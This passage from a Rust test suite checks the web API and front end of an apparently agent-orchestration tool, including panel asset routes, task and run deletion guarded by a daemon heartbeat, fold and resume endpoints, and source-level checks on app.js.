8685        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
8686        assert_eq!(short, "20260902-140502-aabb");
8687    }
8688    #[tokio::test]
8689    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
8690        // The prompt tells agents to reference attachments by bare filename.
8691        // A document served at `.../panel` resolves `shot.png` against its own
8692        // directory, i.e. `.../shot.png`, which is not the asset route - so a
8693        // panel written exactly as instructed showed broken images. Caught by
8694        // looking at a real one in a browser, not by reading the code.
8695        let fx = Fixture::start().await;
8696        let id = panel(
8697            &fx,
8698            "<img src=\"shot.png\">",
8699            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
8700        );
8701
8702        // The frame's own URL ends in a filename, so its siblings are reachable.
8703        let doc = fx
8704            .get(&format!("/api/questions/{id}/panel/index.html"))
8705            .await;
8706        assert_eq!(doc.status, 200, "{}", doc.body);
8707        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
8708
8709        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
8710        assert_eq!(sibling.status, 200, "{}", sibling.body);
8711        assert_eq!(sibling.header("content-type"), Some("image/png"));
8712        assert_eq!(
8713            sibling.header("content-security-policy"),
8714            Some(PANEL_CSP),
8715            "the sibling route must carry the same policy as the asset route"
8716        );
8717
8718        // The original spelling keeps working: HEAD on it is how the front end
8719        // decides whether to mount a frame at all.
8720        assert_eq!(
8721            fx.head(&format!("/api/questions/{id}/panel")).await.status,
8722            200
8723        );
8724    }
8725
8726    #[test]
8727    fn runs_revision_moves_when_deleting_an_older_run() {
8728        let temp = TempDir::new().expect("tempdir");
8729        let runs = temp.path().join("runs");
8730        std::fs::create_dir_all(&runs).expect("create runs dir");
8731
8732        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
8733
8734        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
8735        std::thread::sleep(Duration::from_millis(10));
8736        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
8737
8738        let rev_before = runs_revision(&runs);
8739        assert!(rev_before > 0);
8740
8741        let old_dir = runs.join("20260901-100000-old1");
8742        std::fs::remove_dir_all(&old_dir).expect("remove old run");
8743
8744        let rev_after = runs_revision(&runs);
8745        assert_ne!(
8746            rev_before, rev_after,
8747            "deleting an older run must change the revision so other clients see the deletion"
8748        );
8749    }
8750
8751    /// A run's own `run.json` on an explicit `runs` root, bypassing the
8752    /// process-global home entirely — `RunState::save` writes through
8753    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
8754    /// (see `tests::home_lock` in the integration suite for why).
8755    fn write_state(runs: &FsPath, state: &RunState) {
8756        let dir = runs.join(&state.id);
8757        std::fs::create_dir_all(&dir).expect("run dir");
8758        std::fs::write(
8759            dir.join("run.json"),
8760            serde_json::to_string_pretty(state).expect("serialize run"),
8761        )
8762        .expect("write run.json");
8763    }
8764
8765    /// A seat starting or finishing is a write to `run.json` like any other,
8766    /// so it moves the same revision the change stream already watches —
8767    /// nothing new for `/api/events` to learn, but the property this feature
8768    /// depends on to reach the phone without a poll.
8769    #[test]
8770    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
8771        let temp = TempDir::new().expect("tempdir");
8772        let runs = temp.path().join("runs");
8773        std::fs::create_dir_all(&runs).expect("create runs dir");
8774        let mut state = RunState::new(
8775            PathBuf::from("/repo/magi"),
8776            "main".to_owned(),
8777            "0123456789abcdef".to_owned(),
8778            "task".to_owned(),
8779            Config::default(),
8780        );
8781        state.id = "20260902-100000-c0de".to_owned();
8782        write_state(&runs, &state);
8783
8784        let rev_idle = runs_revision(&runs);
8785        std::thread::sleep(Duration::from_millis(10));
8786        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
8787        write_state(&runs, &state);
8788        let rev_started = runs_revision(&runs);
8789        assert_ne!(
8790            rev_idle, rev_started,
8791            "a seat starting must move the revision"
8792        );
8793
8794        std::thread::sleep(Duration::from_millis(10));
8795        state.seat_finished("judge-1");
8796        write_state(&runs, &state);
8797        let rev_finished = runs_revision(&runs);
8798        assert_ne!(
8799            rev_started, rev_finished,
8800            "and clearing it again must move the revision a second time"
8801        );
8802    }
8803
8804    #[tokio::test]
8805    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
8806        // `TaskView` flattens `Task`, so this is really asserting that
8807        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
8808        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
8809        // never touched web.rs, so nothing here caught it if it had.
8810        let fx = Fixture::start().await;
8811        let q = fx.queue();
8812
8813        let mut t = Task::new(
8814            "Task".to_owned(),
8815            "Instruction".to_owned(),
8816            PathBuf::from("/repo"),
8817            Source::Human,
8818        );
8819        t.block(
8820            vec!["20260101-000000-dead".to_owned()],
8821            Some("waiting on Task 1".to_owned()),
8822        );
8823        t.answers.push(crate::queue::AnsweredQuestion {
8824            question: "Which backend?".to_owned(),
8825            answer: "SQLite".to_owned(),
8826        });
8827        q.put(&mut t).expect("put t");
8828
8829        let res = fx.get("/api/queue").await;
8830        assert_eq!(res.status, 200);
8831        let list = res.json();
8832        let view = list
8833            .as_array()
8834            .expect("array")
8835            .iter()
8836            .find(|v| v["id"] == t.id)
8837            .expect("task in list");
8838        assert_eq!(view["status_str"], "blocked");
8839        assert_eq!(
8840            view["blocked_by"],
8841            serde_json::json!(["20260101-000000-dead"])
8842        );
8843        assert_eq!(view["block_reason"], "waiting on Task 1");
8844        assert_eq!(view["answers"][0]["question"], "Which backend?");
8845        assert_eq!(view["answers"][0]["answer"], "SQLite");
8846
8847        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
8848        // but never `answers` - that is a settled decision, not state
8849        // describing the current block, so it survives.
8850        let res = fx
8851            .post(&format!("/api/queue/{}/hold", t.short()), None)
8852            .await;
8853        assert_eq!(res.status, 200);
8854        let held = res.json();
8855        assert_eq!(held["status_str"], "held");
8856        assert_eq!(held["blocked_by"], serde_json::json!([]));
8857        assert!(held["block_reason"].is_null());
8858        assert_eq!(held["answers"][0]["answer"], "SQLite");
8859    }
8860
8861    #[tokio::test]
8862    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
8863        let fx = Fixture::start().await;
8864        let q = fx.queue();
8865        let mk = |title: &str| {
8866            Task::new(
8867                title.to_owned(),
8868                "Instruction".to_owned(),
8869                PathBuf::from("/repo"),
8870                Source::Human,
8871            )
8872        };
8873        let mut root = mk("root");
8874        root.hold_manual(Some("waiting".to_owned()));
8875        q.put(&mut root).unwrap();
8876        let mut mid = mk("mid");
8877        mid.block(vec![root.id.clone()], None);
8878        q.put(&mut mid).unwrap();
8879        let mut leaf = mk("leaf");
8880        leaf.block(vec![mid.id.clone()], None);
8881        q.put(&mut leaf).unwrap();
8882
8883        let list = fx.get("/api/queue").await.json();
8884        let find = |id: &str| {
8885            list.as_array()
8886                .unwrap()
8887                .iter()
8888                .find(|v| v["id"] == id)
8889                .unwrap()
8890                .clone()
8891        };
8892        let leaf_view = find(&leaf.id);
8893        assert_eq!(
8894            leaf_view["waits_on"],
8895            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
8896        );
8897        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
8898        assert_eq!(
8899            find(&mid.id)["waits_on"],
8900            serde_json::json!([format!("{} (held)", root.short())])
8901        );
8902        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
8903    }
8904
8905    #[tokio::test]
8906    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
8907        let fx = Fixture::start().await;
8908        let q = fx.queue();
8909
8910        // 1. A queued task with runs attached can be deleted.
8911        let mut t1 = Task::new(
8912            "Task 1".to_owned(),
8913            "Instruction 1".to_owned(),
8914            PathBuf::from("/repo"),
8915            Source::Human,
8916        );
8917        let run_id = "20260901-000000-r111";
8918        t1.runs.push(run_id.to_owned());
8919        write_run(&fx.runs(), run_id, RunStatus::Merged);
8920        q.put(&mut t1).expect("put t1");
8921
8922        // Delete by short id
8923        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
8924        assert_eq!(res.status, 204);
8925        assert!(res.body.is_empty(), "204 No Content has no body");
8926        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
8927        assert!(
8928            fx.runs().join(run_id).exists(),
8929            "run directory must not be deleted when its task is deleted"
8930        );
8931
8932        // 2. A task a live daemon is running is refused with 409.
8933        let mut t2 = Task::new(
8934            "Task 2".to_owned(),
8935            "Instruction 2".to_owned(),
8936            PathBuf::from("/repo"),
8937            Source::Human,
8938        );
8939        t2.status = TaskStatus::Running;
8940        q.put(&mut t2).expect("put t2");
8941        let mut beat = crate::daemon::Status::new();
8942        beat.current = vec![crate::daemon::Current {
8943            task: t2.id.clone(),
8944            run: "20260901-000000-r222".to_owned(),
8945        }];
8946        beat.updated_at = jiff::Timestamp::now();
8947        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8948            .expect("publish a heartbeat");
8949        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
8950        assert_eq!(res.status, 409);
8951        assert!(
8952            res.json()["error"]
8953                .as_str()
8954                .unwrap()
8955                .contains("live daemon")
8956        );
8957        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
8958
8959        // 3. The same `running` status and an orphaned lock, with no daemon
8960        // behind either, is a leftover and deletable. Before this the phone
8961        // refused it for good: the status never changes on its own and
8962        // nothing drops a lock whose process is gone.
8963        // The daemon is killed: the file stays, the heartbeat stops.
8964        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
8965        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8966            .expect("leave a stale heartbeat");
8967        let mut t3 = Task::new(
8968            "Task 3".to_owned(),
8969            "Instruction 3".to_owned(),
8970            PathBuf::from("/repo"),
8971            Source::Human,
8972        );
8973        t3.status = TaskStatus::Running;
8974        q.put(&mut t3).expect("put t3");
8975        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
8976        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
8977        assert_eq!(res.status, 204);
8978        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
8979        assert!(
8980            q.claim(&t3.id).is_ok(),
8981            "the stale lock went with it, so the id is claimable again"
8982        );
8983
8984        // 4. Missing id returns 404
8985        let res = fx.delete("/api/queue/nonexistent").await;
8986        assert_eq!(res.status, 404);
8987    }
8988
8989    #[tokio::test]
8990    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
8991        let fx = Fixture::start().await;
8992        let runs = fx.runs();
8993
8994        // 1. Finished and folded run can be deleted along with artifacts
8995        let run_id = "20260901-000000-fold";
8996        let mut state = RunState::new(
8997            PathBuf::from("/repo"),
8998            "main".to_owned(),
8999            "abc".to_owned(),
9000            "instruction".to_owned(),
9001            Config::default(),
9002        );
9003        state.id = run_id.to_owned();
9004        state.status = RunStatus::Merged;
9005        state.candidates.push(crate::run::Candidate {
9006            index: 0,
9007            label: 'A',
9008            agent: "a".to_owned(),
9009            branch: "b".to_owned(),
9010            worktree: PathBuf::from("/w"),
9011            summary: String::new(),
9012            stat: String::new(),
9013            files: 1,
9014            commits: 1,
9015            empty: false,
9016            failed: None,
9017            verified_noop: None,
9018            duration_ms: 0,
9019            folded: true,
9020        });
9021        let dir = runs.join(run_id);
9022        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
9023        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
9024            .expect("write artifact");
9025        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
9026            .expect("write run.json");
9027
9028        // Delete by short id
9029        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
9030        assert_eq!(res.status, 204);
9031        assert!(res.body.is_empty(), "204 has no body");
9032        assert!(!dir.exists(), "run directory and artifacts must be deleted");
9033
9034        // 2. A run a live daemon is working on is refused with 409. The
9035        // heartbeat is what makes it refusable: an unfinished run with no
9036        // daemon behind it is a leftover from a killed process, and case 1
9037        // above would otherwise be impossible to tell apart from this one.
9038        let run_running = "20260901-000000-rung";
9039        write_run(&runs, run_running, RunStatus::Prep);
9040        let mut beat = crate::daemon::Status::new();
9041        beat.current = vec![crate::daemon::Current {
9042            task: "20260901-000000-task".to_owned(),
9043            run: run_running.to_owned(),
9044        }];
9045        beat.updated_at = jiff::Timestamp::now();
9046        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9047            .expect("publish a heartbeat");
9048        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
9049        assert_eq!(res.status, 409);
9050        assert!(
9051            res.json()["error"]
9052                .as_str()
9053                .unwrap()
9054                .contains("live daemon"),
9055            "the refusal must say who is holding it"
9056        );
9057        assert!(
9058            runs.join(run_running).exists(),
9059            "a run in flight keeps its directory"
9060        );
9061
9062        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
9063        let run_unfolded = "20260901-000000-unfd";
9064        let mut state2 = RunState::new(
9065            PathBuf::from("/repo"),
9066            "main".to_owned(),
9067            "abc".to_owned(),
9068            "instruction".to_owned(),
9069            Config::default(),
9070        );
9071        state2.id = run_unfolded.to_owned();
9072        state2.status = RunStatus::Ready;
9073        state2.candidates.push(crate::run::Candidate {
9074            index: 0,
9075            label: 'A',
9076            agent: "a".to_owned(),
9077            branch: "b".to_owned(),
9078            worktree: PathBuf::from("/w"),
9079            summary: String::new(),
9080            stat: String::new(),
9081            files: 1,
9082            commits: 1,
9083            empty: false,
9084            failed: None,
9085            verified_noop: None,
9086            duration_ms: 0,
9087            folded: false,
9088        });
9089        let dir2 = runs.join(run_unfolded);
9090        std::fs::create_dir_all(&dir2).expect("create dir2");
9091        std::fs::write(
9092            dir2.join("run.json"),
9093            serde_json::to_string(&state2).unwrap(),
9094        )
9095        .expect("write run.json");
9096
9097        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
9098        assert_eq!(res.status, 409);
9099        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
9100        assert!(dir2.exists(), "unfolded run directory is kept");
9101
9102        // 4. Missing id returns 404
9103        let res = fx.delete("/api/runs/nonexistent").await;
9104        assert_eq!(res.status, 404);
9105    }
9106
9107    /// The queue tiles on the Stats tab must render even on a home with no
9108    /// runs at all: queue state is not derived from run history, so hiding
9109    /// the whole dashboard body behind "no runs yet" would drop the one
9110    /// thing this tab promises unconditionally (queued/running/held/done).
9111    /// A DOM-level test would need a browser this suite does not have, so
9112    /// this pins the same invariant textually: `renderStatsQueue` is called
9113    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
9114    /// block that gates the run-derived panels.
9115    #[test]
9116    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
9117        let start = APP_JS
9118            .find("function renderStats() {")
9119            .expect("renderStats");
9120        let end = start
9121            + APP_JS[start..]
9122                .find("function statsTile(")
9123                .expect("the next top-level function");
9124        let body = &APP_JS[start..end];
9125
9126        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
9127        let gate_end = gate_start
9128            + body[gate_start..]
9129                .find("}\n  renderStatsQueue")
9130                .expect("the gate's own closing brace, right before the unconditional call");
9131        let gated = &body[gate_start..gate_end];
9132
9133        assert_eq!(
9134            body.matches("renderStatsQueue(").count(),
9135            1,
9136            "renderStats must call renderStatsQueue exactly once: {body}"
9137        );
9138        assert!(
9139            !gated.contains("renderStatsQueue"),
9140            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
9141             run-derived panels on an empty run history - the queue panel has to render \
9142             regardless: {gated}"
9143        );
9144    }
9145
9146    #[test]
9147    fn web_ui_delete_contract_in_front_end() {
9148        // 1. API block has both delete endpoints
9149        assert!(APP_JS.contains("deleteRun:"));
9150        assert!(APP_JS.contains("deleteTask:"));
9151
9152        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
9153        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
9154            ..APP_JS.find("function renderRuns").unwrap()];
9155        assert!(!run_cards_slice.to_lowercase().contains("delete"));
9156
9157        // 3. Run detail has delete entry and reasons
9158        assert!(APP_JS.contains("renderRunDelete"));
9159        assert!(APP_JS.contains("runDeleteReason"));
9160        assert!(APP_JS.contains("magi fold"));
9161        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
9162
9163        // 4. Two-step delete arming and focus on Cancel
9164        assert!(APP_JS.contains("cancel.focus"));
9165        assert!(APP_JS.contains("armedRunDelete"));
9166        assert!(APP_JS.contains("armedDelete"));
9167
9168        // 5. Running task has disabled delete
9169        assert!(APP_JS.contains("disabled: status === \"running\""));
9170    }
9171
9172    /// Every element a run card's updater reaches for must be in the `refs`
9173    /// the builder handed it.
9174    ///
9175    /// `createRunCard` builds its elements, appends them to the card, and then
9176    /// lists them again in `row.refs`. That second list is the one the updater
9177    /// uses, and nothing connects the two - an element can be built, appended
9178    /// and rendered, and still be missing from `refs`. `superseded` was, for
9179    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
9180    /// exception took `syncList` with it, and the deck showed
9181    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
9182    /// line is computed before the cards, which is why the failure looked like
9183    /// a server that had lost its runs rather than a front end that had
9184    /// stopped rendering them.
9185    ///
9186    /// A `cargo test` cannot execute the front end, so this reads the two
9187    /// halves out of the source and compares them as sets. It is not a check
9188    /// on the wording of either list: adding an element, renaming one, or
9189    /// reordering them all keeps this passing, and only using one the builder
9190    /// never published fails it.
9191    #[test]
9192    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
9193        let build = APP_JS
9194            .find("function createRunCard")
9195            .expect("createRunCard exists");
9196        let update = APP_JS
9197            .find("function updateRunCard")
9198            .expect("updateRunCard exists");
9199        let end = APP_JS
9200            .find("function renderRuns")
9201            .expect("renderRuns exists");
9202
9203        // The builder's published set: the object literal assigned to `refs`.
9204        let builder = &APP_JS[build..update];
9205        let open = builder.find("refs = {").expect("createRunCard sets refs");
9206        let literal = &builder[open + "refs = {".len()..];
9207        let close = literal.find('}').expect("the refs literal is closed");
9208        let published: HashSet<&str> = literal[..close]
9209            .split(',')
9210            // `name` and `name: value` both bind `name`.
9211            .filter_map(|entry| entry.split(':').next())
9212            .map(str::trim)
9213            .filter(|name| !name.is_empty())
9214            .collect();
9215        assert!(
9216            published.len() > 5,
9217            "the refs literal did not parse into names: {published:?}"
9218        );
9219
9220        // What the updaters reach for: every `r.<name>`, where `r` is the
9221        // `const r = row.refs` alias both functions open with.
9222        let mut used: Vec<&str> = Vec::new();
9223        let updaters = &APP_JS[update..end];
9224        for (at, _) in updaters.match_indices("r.") {
9225            // `r` must be the whole identifier, not the tail of another one
9226            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
9227            let before = updaters[..at].chars().next_back();
9228            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
9229                continue;
9230            }
9231            let rest = &updaters[at + 2..];
9232            let len = rest
9233                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
9234                .unwrap_or(rest.len());
9235            if len > 0 {
9236                used.push(&rest[..len]);
9237            }
9238        }
9239        assert!(
9240            used.len() > 5,
9241            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
9242        );
9243
9244        let missing: Vec<&str> = used
9245            .iter()
9246            .copied()
9247            .filter(|name| !published.contains(name))
9248            .collect();
9249        assert!(
9250            missing.is_empty(),
9251            "a run card's updater reaches for {missing:?}, which `createRunCard` \
9252             never put in `refs` - every card will throw and the list will \
9253             render empty under a count line that says otherwise. Published: \
9254             {published:?}"
9255        );
9256    }
9257
9258    #[tokio::test]
9259    async fn folding_from_the_phone_reports_what_it_removed() {
9260        let fx = Fixture::start().await;
9261        let runs = fx.runs();
9262
9263        // A run with no candidates has nothing to fold, which is a 200 with an
9264        // honest count rather than an error: the operator asked for the trees
9265        // to be gone and they are.
9266        let id = "20260901-000000-fold";
9267        write_run(&runs, id, RunStatus::Stalled);
9268        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9269        assert_eq!(res.status, 200);
9270        assert_eq!(res.json()["removed_count"], 0);
9271        assert_eq!(res.json()["run"], id);
9272        assert!(
9273            runs.join(id).exists(),
9274            "a fold keeps the run's record; only the worktrees go"
9275        );
9276    }
9277
9278    #[tokio::test]
9279    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
9280        let fx = Fixture::start().await;
9281        let runs = fx.runs();
9282        let wt = fx.home.path().join("wt").join("magi").join("dead");
9283        let id = "20260901-000000-dead";
9284        std::fs::create_dir_all(runs.join(id)).expect("run dir");
9285        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9286        std::fs::create_dir_all(&wt).expect("worktree dir");
9287
9288        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9289        assert_eq!(res.status, 200, "{}", res.body);
9290        assert!(
9291            res.json()["removed_count"].as_u64().unwrap() > 0,
9292            "the worktree this build could not read a state for still went"
9293        );
9294        assert!(
9295            !runs.join(id).exists(),
9296            "an unreadable run has no candidate list to fold selectively, so \
9297             the whole record goes - same as `magi fold` on the CLI"
9298        );
9299    }
9300
9301    #[tokio::test]
9302    async fn deleting_an_unreadable_run_removes_it_wholesale() {
9303        let fx = Fixture::start().await;
9304        let runs = fx.runs();
9305        let wt = fx.home.path().join("wt").join("magi").join("gone");
9306        let id = "20260901-000000-gone";
9307        std::fs::create_dir_all(runs.join(id)).expect("run dir");
9308        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9309        std::fs::create_dir_all(&wt).expect("worktree dir");
9310
9311        let res = fx.delete(&format!("/api/runs/{id}")).await;
9312        assert_eq!(res.status, 204, "{}", res.body);
9313        assert!(!runs.join(id).exists(), "the broken record is gone");
9314        assert!(!wt.exists(), "its worktree is gone too");
9315    }
9316
9317    #[tokio::test]
9318    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
9319        let fx = Fixture::start().await;
9320        let runs = fx.runs();
9321        let id = "20260901-000000-live";
9322        write_run(&runs, id, RunStatus::Implementing);
9323
9324        let mut beat = crate::daemon::Status::new();
9325        beat.current = vec![crate::daemon::Current {
9326            task: "20260901-000000-task".to_owned(),
9327            run: id.to_owned(),
9328        }];
9329        beat.updated_at = jiff::Timestamp::now();
9330        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9331            .expect("publish a heartbeat");
9332
9333        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9334        assert_eq!(res.status, 409);
9335        assert!(
9336            res.json()["error"]
9337                .as_str()
9338                .unwrap()
9339                .contains("live daemon"),
9340            "folding under a running agent would pull its worktree away"
9341        );
9342    }
9343
9344    #[tokio::test]
9345    async fn fold_merged_requires_a_pr_url() {
9346        let fx = Fixture::start().await;
9347        let runs = fx.runs();
9348        let id = "20260901-000000-nourl";
9349        write_run(&runs, id, RunStatus::Blocked);
9350
9351        let res = fx
9352            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
9353            .await;
9354        assert_eq!(res.status, 400, "{}", res.body);
9355
9356        let blank = fx
9357            .post(
9358                &format!("/api/runs/{id}/fold-merged"),
9359                Some(r#"{"pr_url":"   "}"#),
9360            )
9361            .await;
9362        assert_eq!(blank.status, 400, "{}", blank.body);
9363    }
9364
9365    #[tokio::test]
9366    async fn fold_merged_is_404_for_an_unknown_run() {
9367        let fx = Fixture::start().await;
9368        let res = fx
9369            .post(
9370                "/api/runs/nosuchrun/fold-merged",
9371                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9372            )
9373            .await;
9374        assert_eq!(res.status, 404, "{}", res.body);
9375    }
9376
9377    #[tokio::test]
9378    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
9379        let fx = Fixture::start().await;
9380        let runs = fx.runs();
9381        let id = "20260901-000000-livemerge";
9382        write_run(&runs, id, RunStatus::Blocked);
9383
9384        let mut beat = crate::daemon::Status::new();
9385        beat.current = vec![crate::daemon::Current {
9386            task: "20260901-000000-task".to_owned(),
9387            run: id.to_owned(),
9388        }];
9389        beat.updated_at = jiff::Timestamp::now();
9390        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9391            .expect("publish a heartbeat");
9392
9393        let res = fx
9394            .post(
9395                &format!("/api/runs/{id}/fold-merged"),
9396                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9397            )
9398            .await;
9399        assert_eq!(res.status, 409, "{}", res.body);
9400        assert!(
9401            res.json()["error"]
9402                .as_str()
9403                .unwrap()
9404                .contains("live daemon"),
9405            "correcting a run's merge underneath a running agent would race \
9406             whatever it is doing to the same `status`/`merge` fields"
9407        );
9408    }
9409
9410    /// A pull request `gh` cannot even ask about (no such remote, no such
9411    /// repository) must never be recorded as a merge on a guess - the same
9412    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
9413    /// command line, reached here through the phone route instead.
9414    #[tokio::test]
9415    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
9416        let fx = Fixture::start().await;
9417        let runs = fx.runs();
9418        let id = "20260901-000000-unconfirmed";
9419        write_run(&runs, id, RunStatus::Blocked);
9420
9421        let res = fx
9422            .post(
9423                &format!("/api/runs/{id}/fold-merged"),
9424                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9425            )
9426            .await;
9427        assert_eq!(res.status, 400, "{}", res.body);
9428        assert_eq!(
9429            read_run(&runs, id).unwrap().status,
9430            RunStatus::Blocked,
9431            "a pull request that could not be confirmed merged must leave \
9432             the run exactly where it was"
9433        );
9434    }
9435
9436    #[tokio::test]
9437    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
9438        let fx = Fixture::start().await;
9439        let runs = fx.runs();
9440
9441        // Only a finished run and a failed one. An *interrupted* run - a
9442        // parked one, or one whose daemon was killed mid-node - is the case
9443        // resuming exists for: run 4043 sat at `reviewing` with the deck
9444        // saying it could not be resumed, which was the one state where
9445        // resuming was the only sensible answer.
9446        for (status, word) in [
9447            (RunStatus::Merged, "merged"),
9448            (RunStatus::Ready, "ready"),
9449            (RunStatus::Failed, "failed"),
9450        ] {
9451            let id = format!("20260901-000000-{}", &word[..4]);
9452            write_run(&runs, &id, status);
9453            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
9454            assert_eq!(res.status, 409, "{word} must not be resumable");
9455            let err = res.json()["error"].as_str().unwrap().to_owned();
9456            assert!(err.contains(word), "the refusal names the status: {err}");
9457        }
9458
9459        // And an interrupted run is accepted: 202, with the resume running in
9460        // the background. `Runner::resume` fails immediately here - the
9461        // fixture's run points at a repository that does not exist - which is
9462        // the point: the handler must not wait for it to find out.
9463        let mid = "20260901-000000-midf";
9464        write_run(&runs, mid, RunStatus::Reviewing);
9465        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
9466        assert_eq!(res.status, 202, "an interrupted run is resumable");
9467    }
9468
9469    #[tokio::test]
9470    async fn resume_is_refused_while_the_loop_is_running() {
9471        let fx = Fixture::start().await;
9472        let runs = fx.runs();
9473        let stalled = "20260901-000000-stal";
9474        write_run(&runs, stalled, RunStatus::Stalled);
9475
9476        // The loop is busy with a *different* run, and that is still a
9477        // refusal: a manual resume must never race whatever the loop itself
9478        // is already driving, whether that is one run or several.
9479        let mut beat = crate::daemon::Status::new();
9480        beat.current = vec![crate::daemon::Current {
9481            task: "20260901-000000-task".to_owned(),
9482            run: "20260901-000000-othr".to_owned(),
9483        }];
9484        beat.updated_at = jiff::Timestamp::now();
9485        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9486            .expect("publish a heartbeat");
9487
9488        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
9489        assert_eq!(res.status, 409);
9490        let err = res.json()["error"].as_str().unwrap().to_owned();
9491        assert!(err.contains("othr"), "it names what the loop is on: {err}");
9492        assert!(err.contains("stop it first"), "{err}");
9493    }
9494
9495    #[test]
9496    fn a_run_cannot_be_resumed_twice_at_once() {
9497        let home = TempDir::new().expect("temp home");
9498        let ui = Ui::new(
9499            Queue::at(home.path().join("queue")),
9500            Questions::at(home.path().join("questions")),
9501            Talks::at(home.path().join("talks")),
9502            home.path().join("runs"),
9503            home.path().to_path_buf(),
9504            PathBuf::from("/repo"),
9505        )
9506        .with_worktrees_root(home.path().join("wt"));
9507        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
9508        let again = ui.begin_resume("20260901-000000-once");
9509        assert!(again.is_err(), "a second tap must not start a second graph");
9510        drop(first);
9511        assert!(
9512            ui.begin_resume("20260901-000000-once").is_ok(),
9513            "and the claim is released when the attempt ends"
9514        );
9515    }
9516
9517    #[test]
9518    fn talk_thinking_tracks_only_its_held_turn_claim() {
9519        let home = TempDir::new().expect("temp home");
9520        let ui = Ui::new(
9521            Queue::at(home.path().join("queue")),
9522            Questions::at(home.path().join("questions")),
9523            Talks::at(home.path().join("talks")),
9524            home.path().join("runs"),
9525            home.path().to_path_buf(),
9526            PathBuf::from("/repo"),
9527        )
9528        .with_worktrees_root(home.path().join("wt"));
9529        let id = "20260901-000000-once";
9530
9531        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
9532        let turn = ui.begin_talk_turn(id).expect("claim turn");
9533        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
9534        assert!(
9535            !ui.is_thinking("20260901-000000-other"),
9536            "one talk's turn does not make another talk busy"
9537        );
9538        drop(turn);
9539        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
9540    }
9541
9542    #[tokio::test]
9543    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
9544        let fx = Fixture::start().await;
